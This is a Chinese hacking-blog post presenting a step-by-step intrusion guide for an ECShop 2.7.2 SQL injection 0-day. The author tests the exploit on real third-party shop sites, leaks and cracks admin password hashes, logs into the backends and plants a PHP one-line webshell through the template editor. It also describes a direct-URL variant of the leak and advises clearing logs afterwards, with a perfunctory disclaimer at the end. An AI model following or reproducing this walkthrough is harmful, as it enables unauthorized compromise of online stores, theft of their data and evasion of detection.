危险漫步博客
新鲜的“黑客思维”就是从全新的角度看待黑客技术,从更高的层面去思考;专注于黑客精神及技术交流分享的独立博客。
文章2306 浏览20614424

实现ECShop SQL注入0day

昨天晚上朋友告诉我说ECShop出了新漏洞,我连忙打开电脑到网上看了一下,该漏洞的发现者是80vul的ryat,ryat并没有给出详细的漏洞分析,只是简单的公布出了一个漏洞的利用程序。我打开ECShop官方网站下载了最新版本的ECShop_V2.7.2_GBK_Rclease0505程序,从程序名字可以看出这是今年更新的。我在虚拟机里使用AppServ把ECShop安装好,但测试漏洞利用程序时却失败了,本以为ryat给出的程序有问题想放弃,但还是忍不住从网上搜索了一些网站来测试,没想到测试第一个时就成功了,接着我又连续测试了十几个使用了ECShop的网站,其中六七个都成功了,成功率相当高。

登录存在漏洞的网站后台,发现ECShop版本显示的是v2.7.2 RELEASE 20100505,看来最新的版本也存在这个漏洞啊,我又在另一个虚拟机中手动搭建的PHP环境下安装了ECShop_V2.7.2_GBK_Release0505版,测试漏洞利用程序时又成功了,由此可以确认最新的ECShop_V2.7.2_GBK_Release0505版也存在这个漏洞,只不过漏洞能否成功利用跟网站具体的PHP环境有关。

一、漏洞的简单分析

ECShop是一款开源免费的网上商店系统,使用这套网店系统的网站有很多,其实ECShop的安全性还是很不错的,记得上一次出漏洞还是在很早之前,算是已经很久没有出漏洞了,呵呵。不过还是那句老话:没有绝对的安全,这不又出漏洞了。该漏洞可以影响包括最新版本在内的所有版本。

由于该漏洞的发现者并没有公布出漏洞的细节,而我对于PHP又不怎么精通,因此也就无法给大家分析这个漏洞产生的原因了。对于那些感兴趣的朋友可以根据给出的漏洞利用程序来进行分析。

二、漏洞利用

我把漏洞的测试程序保存为了ecshopexp.php,要想执行这个ecshopexp.php程序,需要我们的电脑中安装了PHP才行,我使用的是AppServ套件里的PHP,路径为“C:\AppServ\php5”,把ecshopexp复制到“C:\AppServ\php5”目录下,然后打开CMD命令提示符并切换到该目录下,直接输入php ecshopexp.php就可以看到楼主测试程序的使用说明了。

程序的使用格式为“php ecshopexp.php host path”,其中host为安装目标网站的域名或IP地址,path为ECShop的安装路径,如果是安装在网站根目录下的,那么path就使用“/”。

我搜索“Powered by ECShopv2.7.2”后找到了一个存在这个漏洞的网站,ECShop是安装在网站根目录下,我们直接输入php ecshopexp.php/执行,就爆出了管理员的用户名admin以及密码7fef6171469e80d32c0559f888b377245。

7fef6171469e80d32c0559f88b377245是密码经过MD5加密后的32位数值,拿到cmd5等在线破解网站破解出密码为admin888,ECShop的后台默认目录是admin,我们直接在网址后面加上admin就打开了登录页面,使用得到的用户名和密码成功的登录进入了后台。

在ECShop后台获得webshell非常简单,我们选择“模板管理”下的“库项目管理”,然后在“请选择一个库项目”的下拉列表中选择“myship.lib - 配送方式”,就打开了myship.lib的编辑页面,来到代码的最下面,插入php一句话木马的服务端代码<?php evaI($_POST[c]);?>,点击“确定”按钮后会提示“库项目内容已经更新成功。”,这就说明php一句话木马已经写进去了,使用lanker一句话PHP后门客户端来连接就成功获得了webshell。最后我们再使用php一句话木马另外传个webshell上去,然后恢复myship.lib文件,清理完日志就可以走人了。

三、另一个漏洞利用方式

给出的漏洞利用程序是php版的,虽然可以使用,但需要安装php才行,有些不方便。我使用抓包工具commview对这个php版程序爆管理员用户名和密码的过程进行了抓包,抓到了一些数据。我发现search.php是在网站根目录下的,尝试直接访问,在错误信息中爆出了管理员的用户名和密码,这真是令人兴奋啊!

这样的话,我们要想利用这个漏洞时,只需要在ECShop的网址后面添加上就行了,不必非得使用那个php版的漏洞利用程序了。其实这个测试程序的作用就是爆出管理员的用户名和密码,我们访问这个特定的UPL就可以达到相同的效果了。考虑到“encode=”后面的代码太长了,手工抄写的话太麻烦也很容易出错,于是我就把这段代码保存在了exp.txt文件中,以方便大家使用。

四、简单总结

ECShop的这个SQL注入0day利用起来非常简单,但危害也非常大,几乎只要破解了密码就可以获得webshell。我在网上测试了一下,起码有一半以上安装ECShop的网站存在这个漏洞。关于漏洞的修补,由于官方还没有给出补丁程序,因此可以增加密码的复杂程度,让漏洞利用者即使得到了密码的MD5值也破解不出来,当然更好的修补方法还是等官方出了补丁程序后再及时的恢复吧!

另外特别说明一下,由于是网店系统,因此网站的有些信息可能会比较敏感,在拿到webshell后请不要做任何的破坏。本文只是介绍漏洞的可利用性,如果有人使用本文所介绍的方法给任何网站造成破坏与损失则与本人无关。